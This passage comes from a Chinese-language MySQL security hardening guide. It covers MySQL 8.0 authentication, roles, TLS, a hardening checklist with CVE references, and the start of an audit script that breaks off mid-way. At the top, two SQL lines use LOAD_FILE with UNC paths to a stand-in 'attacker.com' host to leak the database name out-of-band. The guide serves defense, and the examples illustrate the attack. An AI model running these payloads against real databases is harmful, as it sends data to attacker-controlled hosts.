<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 通过LOAD_FILE触发DNS查询（仅Windows，利用UNC路径）</span>
<span class="k">SELECT</span> <span class="n">LOAD_FILE</span><span class="p">(</span><span class="n">CONCAT</span><span class="p">(</span><span class="s1">'</span><span class="se">\\\\</span><span class="s1">'</span><span class="p">,</span> <span class="p">(</span><span class="k">SELECT</span> <span class="k">database</span><span class="p">()),</span> <span class="s1">'.attacker.com</span><span class="se">\\</span><span class="s1">abc'</span><span class="p">));</span>

<span class="c1">-- Windows UNC路径</span>
<span class="k">SELECT</span> <span class="n">LOAD_FILE</span><span class="p">(</span><span class="s1">'</span><span class="se">\\\\</span><span class="s1">attacker.com</span><span class="se">\\</span><span class="s1">share</span><span class="se">\\</span><span class="s1">file.txt'</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="717-利用mysql-proxy中间人攻击">7.17 利用MySQL Proxy中间人攻击</h3>

<p>如果使用MySQL Proxy且未加密，攻击者可以：</p>
<ul>
  <li>窃听所有SQL查询和结果</li>
  <li>篡改查询语句</li>
  <li>注入恶意SQL</li>
</ul>

<p><strong>防御</strong>：</p>
<ul>
  <li>使用SSL/TLS加密连接</li>
  <li>验证服务器证书</li>
  <li>使用VPN或专用网络</li>
</ul>

<h4 id="-cve漏洞汇总">📋 CVE漏洞汇总</h4>

<h3 id="718-其他重要cve漏洞">7.18 其他重要CVE漏洞</h3>

<p><strong>CVE-2023-21980</strong>：MySQL Server Client程序漏洞</p>
<ul>
  <li>CVSS评分：7.1（高危）</li>
  <li>影响版本：MySQL 8.0.32及之前版本</li>
  <li>漏洞描述：允许低权限攻击者通过网络访问破坏MySQL Server，影响机密性、完整性和可用性</li>
  <li>防御：升级到MySQL 8.0.33+</li>
</ul>

<p><strong>CVE-2023-22028</strong>：MySQL Server InnoDB组件DoS漏洞</p>
<ul>
  <li>CVSS评分：4.9（中危）</li>
  <li>影响版本：MySQL 8.0.x</li>
  <li>漏洞描述：高权限攻击者可导致MySQL Server挂起或崩溃</li>
  <li>防御：升级到最新版本，限制高权限账号</li>
</ul>

<p><strong>CVE-2021-2022</strong>：MySQL Server InnoDB组件DoS漏洞</p>
<ul>
  <li>CVSS评分：4.4（中危）</li>
  <li>影响版本：MySQL 5.6.x, 5.7.x, 8.0.x</li>
  <li>漏洞描述：高权限攻击者可导致MySQL Server频繁崩溃</li>
  <li>防御：升级到修复版本</li>
</ul>

<p><strong>CVE-2024-21201</strong>：MySQL Optimizer组件DoS漏洞</p>
<ul>
  <li>CVSS评分：4.9（中危）</li>
  <li>影响版本：MySQL 8.0.39及之前，8.4.x</li>
  <li>漏洞描述：易于利用的漏洞，可导致MySQL Server挂起或崩溃</li>
  <li>防御：升级到MySQL 8.0.40+或8.4.3+</li>
</ul>

<hr />

<h2 id="八mysql-80-安全新特性">八、MySQL 8.0+ 安全新特性</h2>

<p>MySQL 8.0 引入了大量安全增强功能，了解并正确使用这些特性是加固现代MySQL部署的关键。</p>

<h3 id="81-认证增强">8.1 认证增强</h3>

<p><strong><code class="language-plaintext highlighter-rouge">caching_sha2_password</code> 成为默认认证插件</strong>：</p>

<p>MySQL 8.0 将默认认证插件从 <code class="language-plaintext highlighter-rouge">mysql_native_password</code> 更换为 <code class="language-plaintext highlighter-rouge">caching_sha2_password</code>，提供更强的密码哈希安全性。</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 查看当前默认认证插件</span>
<span class="k">SHOW</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="s1">'default_authentication_plugin'</span><span class="p">;</span>

<span class="c1">-- 查看各用户使用的认证插件</span>
<span class="k">SELECT</span> <span class="k">user</span><span class="p">,</span> <span class="k">host</span><span class="p">,</span> <span class="n">plugin</span> <span class="k">FROM</span> <span class="n">mysql</span><span class="p">.</span><span class="k">user</span><span class="p">;</span>

<span class="c1">-- 如需兼容旧客户端，可为特定用户指定旧插件（不推荐）</span>
<span class="k">ALTER</span> <span class="k">USER</span> <span class="s1">'legacy_app'</span><span class="o">@</span><span class="s1">'%'</span> <span class="n">IDENTIFIED</span> <span class="k">WITH</span> <span class="n">mysql_native_password</span> <span class="k">BY</span> <span class="s1">'password'</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>密码策略增强</strong>：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 安装密码验证组件（MySQL 8.0+）</span>
<span class="n">INSTALL</span> <span class="n">COMPONENT</span> <span class="s1">'file://component_validate_password'</span><span class="p">;</span>

<span class="c1">-- 配置密码策略</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">validate_password</span><span class="p">.</span><span class="n">policy</span> <span class="o">=</span> <span class="s1">'STRONG'</span><span class="p">;</span>        <span class="c1">-- LOW / MEDIUM / STRONG</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">validate_password</span><span class="p">.</span><span class="k">length</span> <span class="o">=</span> <span class="mi">12</span><span class="p">;</span>              <span class="c1">-- 最小长度</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">validate_password</span><span class="p">.</span><span class="n">mixed_case_count</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>     <span class="c1">-- 至少1个大写+1个小写</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">validate_password</span><span class="p">.</span><span class="n">number_count</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>         <span class="c1">-- 至少1个数字</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">validate_password</span><span class="p">.</span><span class="n">special_char_count</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>   <span class="c1">-- 至少1个特殊字符</span>

<span class="c1">-- 密码过期策略</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">default_password_lifetime</span> <span class="o">=</span> <span class="mi">90</span><span class="p">;</span>  <span class="c1">-- 90天后过期</span>
<span class="k">ALTER</span> <span class="k">USER</span> <span class="s1">'app_user'</span><span class="o">@</span><span class="s1">'%'</span> <span class="n">PASSWORD</span> <span class="n">EXPIRE</span> <span class="n">INTERVAL</span> <span class="mi">180</span> <span class="k">DAY</span><span class="p">;</span>

<span class="c1">-- 密码历史与重用限制（防止用户反复使用旧密码）</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">password_history</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>           <span class="c1">-- 记住最近5个密码</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">password_reuse_interval</span> <span class="o">=</span> <span class="mi">365</span><span class="p">;</span>  <span class="c1">-- 365天内不能重用</span>

<span class="c1">-- 双密码支持（平滑密码轮换，不中断服务）</span>
<span class="k">ALTER</span> <span class="k">USER</span> <span class="s1">'app_user'</span><span class="o">@</span><span class="s1">'%'</span> <span class="n">IDENTIFIED</span> <span class="k">BY</span> <span class="s1">'new_password'</span> <span class="n">RETAIN</span> <span class="k">CURRENT</span> <span class="n">PASSWORD</span><span class="p">;</span>
<span class="c1">-- 确认所有客户端切换到新密码后：</span>
<span class="k">ALTER</span> <span class="k">USER</span> <span class="s1">'app_user'</span><span class="o">@</span><span class="s1">'%'</span> <span class="n">DISCARD</span> <span class="k">OLD</span> <span class="n">PASSWORD</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="82-权限增强">8.2 权限增强</h3>

<p><strong>角色（Roles）系统</strong>：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 创建角色</span>
<span class="k">CREATE</span> <span class="k">ROLE</span> <span class="s1">'app_read'</span><span class="p">,</span> <span class="s1">'app_write'</span><span class="p">,</span> <span class="s1">'app_admin'</span><span class="p">;</span>

<span class="c1">-- 为角色分配权限</span>
<span class="k">GRANT</span> <span class="k">SELECT</span> <span class="k">ON</span> <span class="n">mydb</span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'app_read'</span><span class="p">;</span>
<span class="k">GRANT</span> <span class="k">INSERT</span><span class="p">,</span> <span class="k">UPDATE</span><span class="p">,</span> <span class="k">DELETE</span> <span class="k">ON</span> <span class="n">mydb</span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'app_write'</span><span class="p">;</span>
<span class="k">GRANT</span> <span class="k">ALL</span> <span class="k">PRIVILEGES</span> <span class="k">ON</span> <span class="n">mydb</span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'app_admin'</span><span class="p">;</span>

<span class="c1">-- 将角色授予用户</span>
<span class="k">GRANT</span> <span class="s1">'app_read'</span> <span class="k">TO</span> <span class="s1">'readonly_user'</span><span class="o">@</span><span class="s1">'%'</span><span class="p">;</span>
<span class="k">GRANT</span> <span class="s1">'app_read'</span><span class="p">,</span> <span class="s1">'app_write'</span> <span class="k">TO</span> <span class="s1">'app_user'</span><span class="o">@</span><span class="s1">'%'</span><span class="p">;</span>

<span class="c1">-- 设置默认角色</span>
<span class="k">SET</span> <span class="k">DEFAULT</span> <span class="k">ROLE</span> <span class="s1">'app_read'</span> <span class="k">TO</span> <span class="s1">'readonly_user'</span><span class="o">@</span><span class="s1">'%'</span><span class="p">;</span>

<span class="c1">-- 查看角色授权</span>
<span class="k">SHOW</span> <span class="n">GRANTS</span> <span class="k">FOR</span> <span class="s1">'app_read'</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>动态权限与部分撤销</strong>：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- MySQL 8.0 新增的动态权限（更细粒度）</span>
<span class="k">GRANT</span> <span class="n">CONNECTION_ADMIN</span> <span class="k">ON</span> <span class="o">*</span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'dba'</span><span class="o">@</span><span class="s1">'%'</span><span class="p">;</span>    <span class="c1">-- 连接管理权限</span>
<span class="k">GRANT</span> <span class="n">BACKUP_ADMIN</span> <span class="k">ON</span> <span class="o">*</span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'backup'</span><span class="o">@</span><span class="s1">'%'</span><span class="p">;</span>     <span class="c1">-- 备份管理权限</span>
<span class="k">GRANT</span> <span class="n">AUDIT_ADMIN</span> <span class="k">ON</span> <span class="o">*</span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'auditor'</span><span class="o">@</span><span class="s1">'%'</span><span class="p">;</span>     <span class="c1">-- 审计管理权限</span>

<span class="c1">-- 部分撤销：全局权限的例外（需要启用 partial_revokes）</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">partial_revokes</span> <span class="o">=</span> <span class="k">ON</span><span class="p">;</span>
<span class="k">GRANT</span> <span class="k">SELECT</span> <span class="k">ON</span> <span class="o">*</span><span class="p">.</span><span class="o">*</span> <span class="k">TO</span> <span class="s1">'analyst'</span><span class="o">@</span><span class="s1">'%'</span><span class="p">;</span>
<span class="k">REVOKE</span> <span class="k">SELECT</span> <span class="k">ON</span> <span class="n">mysql</span><span class="p">.</span><span class="o">*</span> <span class="k">FROM</span> <span class="s1">'analyst'</span><span class="o">@</span><span class="s1">'%'</span><span class="p">;</span>   <span class="c1">-- 排除mysql系统库</span>
</code></pre></div></div>

<h3 id="83-连接安全">8.3 连接安全</h3>

<p><strong>连接控制插件（防暴力破解）</strong>：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 安装连接控制插件</span>
<span class="n">INSTALL</span> <span class="n">PLUGIN</span> <span class="n">CONNECTION_CONTROL</span> <span class="n">SONAME</span> <span class="s1">'connection_control.so'</span><span class="p">;</span>
<span class="n">INSTALL</span> <span class="n">PLUGIN</span> <span class="n">CONNECTION_CONTROL_FAILED_LOGIN_ATTEMPTS</span> <span class="n">SONAME</span> <span class="s1">'connection_control.so'</span><span class="p">;</span>

<span class="c1">-- 配置：连续失败3次后开始延迟，最大延迟10秒</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">connection_control_failed_connections_threshold</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">connection_control_min_connection_delay</span> <span class="o">=</span> <span class="mi">1000</span><span class="p">;</span>      <span class="c1">-- 1秒</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">connection_control_max_connection_delay</span> <span class="o">=</span> <span class="mi">10000</span><span class="p">;</span>     <span class="c1">-- 10秒</span>

<span class="c1">-- 查看失败登录统计</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">CONNECTION_CONTROL_FAILED_LOGIN_ATTEMPTS</span><span class="p">;</span>
</code></pre></div></div>

<p><strong>强制加密连接</strong>：</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 要求所有连接必须使用SSL/TLS</span>
<span class="k">SET</span> <span class="k">GLOBAL</span> <span class="n">require_secure_transport</span> <span class="o">=</span> <span class="k">ON</span><span class="p">;</span>

<span class="c1">-- 或针对特定用户</span>
<span class="k">ALTER</span> <span class="k">USER</span> <span class="s1">'app_user'</span><span class="o">@</span><span class="s1">'%'</span> <span class="n">REQUIRE</span> <span class="n">SSL</span><span class="p">;</span>
<span class="k">ALTER</span> <span class="k">USER</span> <span class="s1">'sensitive_user'</span><span class="o">@</span><span class="s1">'%'</span> <span class="n">REQUIRE</span> <span class="n">X509</span><span class="p">;</span>  <span class="c1">-- 要求客户端证书</span>
</code></pre></div></div>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># my.cnf 配置 TLS
</span><span class="nn">[mysqld]</span>
<span class="py">require_secure_transport</span> <span class="p">=</span> <span class="s">ON</span>
<span class="py">ssl-ca</span>   <span class="p">=</span> <span class="s">/etc/mysql/ssl/ca.pem</span>
<span class="py">ssl-cert</span> <span class="p">=</span> <span class="s">/etc/mysql/ssl/server-cert.pem</span>
<span class="py">ssl-key</span>  <span class="p">=</span> <span class="s">/etc/mysql/ssl/server-key.pem</span>
<span class="py">tls_version</span> <span class="p">=</span> <span class="s">TLSv1.2,TLSv1.3</span>
</code></pre></div></div>

<h3 id="84-审计增强">8.4 审计增强</h3>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- MySQL Enterprise Audit（商业版）提供完整审计能力</span>
<span class="c1">-- 开源替代方案：Percona Audit Plugin 或 MariaDB Audit Plugin</span>

<span class="c1">-- MySQL 8.0 组件架构的审计日志</span>
<span class="n">INSTALL</span> <span class="n">COMPONENT</span> <span class="s1">'file://component_audit_api_message_emit'</span><span class="p">;</span>

<span class="c1">-- 查看审计日志状态</span>
<span class="k">SHOW</span> <span class="n">VARIABLES</span> <span class="k">LIKE</span> <span class="s1">'audit_log%'</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="85-mysql-80-安全配置推荐">8.5 MySQL 8.0 安全配置推荐</h3>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># my.cnf — MySQL 8.0+ 安全配置推荐
</span><span class="nn">[mysqld]</span>
<span class="c"># 认证
</span><span class="py">default_authentication_plugin</span> <span class="p">=</span> <span class="s">caching_sha2_password</span>
<span class="py">default_password_lifetime</span> <span class="p">=</span> <span class="s">90</span>
<span class="py">password_history</span> <span class="p">=</span> <span class="s">5</span>
<span class="py">password_reuse_interval</span> <span class="p">=</span> <span class="s">365</span>

<span class="c"># 连接安全
</span><span class="py">require_secure_transport</span> <span class="p">=</span> <span class="s">ON</span>
<span class="py">tls_version</span> <span class="p">=</span> <span class="s">TLSv1.2,TLSv1.3</span>

<span class="c"># 权限
</span><span class="py">partial_revokes</span> <span class="p">=</span> <span class="s">ON</span>

<span class="c"># 文件安全
</span><span class="py">secure_file_priv</span> <span class="p">=</span> <span class="s">NULL</span>
<span class="py">local_infile</span> <span class="p">=</span> <span class="s">OFF</span>

<span class="c"># 网络
</span><span class="py">bind-address</span> <span class="p">=</span> <span class="s">127.0.0.1</span>
<span class="py">mysqlx-bind-address</span> <span class="p">=</span> <span class="s">127.0.0.1    # 别忘了X Protocol端口</span>
</code></pre></div></div>

<hr />

<h2 id="九mysql安全加固检查清单">九、MySQL安全加固检查清单</h2>

<table>
  <thead>
    <tr>
      <th style="text-align: left">检查项</th>
      <th style="text-align: left">操作建议</th>
      <th style="text-align: left">优先级</th>
      <th style="text-align: left">相关CVE</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">secure_file_priv</td>
      <td style="text-align: left">设置为 <code class="language-plaintext highlighter-rouge">NULL</code> 或指定安全目录</td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">CVE-2016-6662</td>
    </tr>
    <tr>
      <td style="text-align: left">root远程登录</td>
      <td style="text-align: left">禁止，仅允许 localhost</td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">匿名用户</td>
      <td style="text-align: left">全部删除</td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">密码策略</td>
      <td style="text-align: left">启用 <code class="language-plaintext highlighter-rouge">validate_password</code> 组件，最小长度12位</td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">CVE-2012-2122</td>
    </tr>
    <tr>
      <td style="text-align: left">FILE权限</td>
      <td style="text-align: left">应用账号禁止授予</td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">CVE-2016-6662</td>
    </tr>
    <tr>
      <td style="text-align: left">SUPER权限</td>
      <td style="text-align: left">应用账号禁止授予</td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">端口暴露</td>
      <td style="text-align: left">仅限内网访问，<code class="language-plaintext highlighter-rouge">bind-address=127.0.0.1</code></td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">CVE-2012-2122</td>
    </tr>
    <tr>
      <td style="text-align: left">服务运行权限</td>
      <td style="text-align: left">以低权限用户（如mysql）运行，禁止root/SYSTEM</td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">CVE-2016-6664</td>
    </tr>
    <tr>
      <td style="text-align: left">版本更新</td>
      <td style="text-align: left">保持最新稳定版本，及时修补已知漏洞</td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">所有CVE</td>
    </tr>
    <tr>
      <td style="text-align: left">配置文件权限</td>
      <td style="text-align: left">my.cnf设为644，仅root可写</td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">CVE-2016-6662</td>
    </tr>
    <tr>
      <td style="text-align: left">数据目录权限</td>
      <td style="text-align: left">设为700，禁用符号链接</td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">CVE-2016-6663</td>
    </tr>
    <tr>
      <td style="text-align: left">日志目录权限</td>
      <td style="text-align: left">严格控制，防止符号链接攻击</td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">CVE-2016-6664</td>
    </tr>
    <tr>
      <td style="text-align: left">认证插件</td>
      <td style="text-align: left">MySQL 8.0+ 使用 <code class="language-plaintext highlighter-rouge">caching_sha2_password</code></td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">连接控制</td>
      <td style="text-align: left">安装 <code class="language-plaintext highlighter-rouge">connection_control</code> 插件防暴力破解</td>
      <td style="text-align: left">高</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">general_log</td>
      <td style="text-align: left">生产环境关闭，防止被利用写入WebShell</td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">CVE-2016-6662</td>
    </tr>
    <tr>
      <td style="text-align: left">slow_query_log</td>
      <td style="text-align: left">生产环境谨慎开启，防止日志投毒</td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">local-infile</td>
      <td style="text-align: left">设置为0，防止恶意服务端读取文件</td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">plugin_dir</td>
      <td style="text-align: left">目录权限仅MySQL可读，禁止写入</td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">mysql.func</td>
      <td style="text-align: left">定期审计，检查异常UDF</td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">event_scheduler</td>
      <td style="text-align: left">生产环境按需开启，定期审计事件</td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">触发器审计</td>
      <td style="text-align: left">定期检查 <code class="language-plaintext highlighter-rouge">information_schema.TRIGGERS</code></td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">存储过程审计</td>
      <td style="text-align: left">定期检查 <code class="language-plaintext highlighter-rouge">information_schema.ROUTINES</code></td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">视图审计</td>
      <td style="text-align: left">检查视图的 <code class="language-plaintext highlighter-rouge">SECURITY_TYPE</code> 和 <code class="language-plaintext highlighter-rouge">DEFINER</code>，防止权限绕过</td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">从库只读</td>
      <td style="text-align: left">设置 <code class="language-plaintext highlighter-rouge">read_only=1</code> 和 <code class="language-plaintext highlighter-rouge">super_read_only=1</code></td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">查询超时</td>
      <td style="text-align: left">设置 <code class="language-plaintext highlighter-rouge">max_execution_time</code> 防止DoS</td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">CVE-2024-21201</td>
    </tr>
    <tr>
      <td style="text-align: left">连接限制</td>
      <td style="text-align: left">配置 <code class="language-plaintext highlighter-rouge">max_connections</code> 和 <code class="language-plaintext highlighter-rouge">max_user_connections</code></td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">备份安全</td>
      <td style="text-align: left">备份文件加密存储，脱机保存</td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">SSL/TLS</td>
      <td style="text-align: left">强制客户端加密连接，<code class="language-plaintext highlighter-rouge">require_secure_transport=ON</code></td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">字符集</td>
      <td style="text-align: left">统一使用 <code class="language-plaintext highlighter-rouge">utf8mb4</code>，防止宽字节注入</td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">密码过期</td>
      <td style="text-align: left">设置 <code class="language-plaintext highlighter-rouge">default_password_lifetime</code></td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">角色管理</td>
      <td style="text-align: left">使用角色统一管理权限，避免逐用户授权</td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">X Protocol端口</td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">mysqlx-bind-address=127.0.0.1</code>，限制33060端口</td>
      <td style="text-align: left">中</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">错误信息</td>
      <td style="text-align: left">不要向前端暴露详细的数据库错误</td>
      <td style="text-align: left">低</td>
      <td style="text-align: left">-</td>
    </tr>
    <tr>
      <td style="text-align: left">PROCESSLIST</td>
      <td style="text-align: left">限制普通用户查看进程列表</td>
      <td style="text-align: left">低</td>
      <td style="text-align: left">-</td>
    </tr>
  </tbody>
</table>

<h2 id="十快速安全加固脚本">十、快速安全加固脚本</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="c"># MySQL安全加固脚本</span>
<span class="c"># 使用方式: bash mysql_hardening.sh</span>
<span class="c"># 注意：需要以MySQL root身份执行，脚本会提示输入密码</span>

<span class="nv">MYSQL_CMD</span><span class="o">=</span><span class="s2">"mysql -u root -p"</span>

<span class="nb">echo</span> <span class="s2">"============================================"</span>
<span class="nb">echo</span> <span class="s2">"[+] MySQL安全加固开始..."</span>
<span class="nb">echo</span> <span class="s2">"============================================"</span>

<span class="c"># ========================</span>
<span class="c"># 1. 用户与认证安全</span>
<span class="c"># ========================</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] === 用户与认证安全 ==="</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查并删除匿名用户："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SELECT user, host FROM mysql.user WHERE User='';"</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"DELETE FROM mysql.user WHERE User='';"</span>

<span class="nb">echo</span> <span class="s2">"[*] 禁止root远程登录："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1');"</span>

<span class="nb">echo</span> <span class="s2">"[*] 删除test数据库："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"DROP DATABASE IF EXISTS test;"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查空密码账号："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SELECT user, host FROM mysql.user WHERE authentication_string='';"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查密码策略配置："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SHOW VARIABLES LIKE 'validate_password%';"</span>

<span class="c"># ========================</span>
<span class="c"># 2. 权限审计</span>
<span class="c"># ========================</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] === 权限审计 ==="</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查拥有FILE权限的用户："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SELECT user, host FROM mysql.user WHERE File_priv='Y';"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查拥有SUPER权限的用户："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SELECT user, host FROM mysql.user WHERE Super_priv='Y';"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查拥有GRANT权限的用户："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SELECT user, host FROM mysql.user WHERE Grant_priv='Y';"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查拥有SHUTDOWN权限的用户："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SELECT user, host FROM mysql.user WHERE Shutdown_priv='Y';"</span>

<span class="c"># ========================</span>
<span class="c"># 3. 关键配置检查</span>
<span class="c"># ========================</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] === 关键配置检查 ==="</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查 secure_file_priv："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SHOW VARIABLES LIKE 'secure_file_priv';"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查 local_infile："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SHOW VARIABLES LIKE 'local_infile';"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查 bind-address："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SHOW VARIABLES LIKE 'bind_address';"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查 SSL/TLS 配置："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SHOW VARIABLES LIKE '%ssl%';"</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SHOW VARIABLES LIKE 'require_secure_transport';"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查 general_log 状态："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SHOW VARIABLES LIKE 'general_log%';"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查 slow_query_log 状态："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SHOW VARIABLES LIKE 'slow_query_log%';"</span>

<span class="c"># ========================</span>
<span class="c"># 4. 后门与异常检查</span>
<span class="c"># ========================</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] === 后门与异常检查 ==="</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查自定义函数（UDF）："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SELECT * FROM mysql.func;"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查所有触发器："</span>
<span class="nv">$MYSQL_CMD</span> <span class="nt">-e</span> <span class="s2">"SELECT TRIGGER_SCHEMA, TRIGGER_NAME, EVENT_MANIPULATION, EVENT_OBJECT_TABLE FROM information_schema.TRIGGERS;"</span>

<span class="nb">echo</span> <span class="s2">"[*] 检查定时事件："</span>
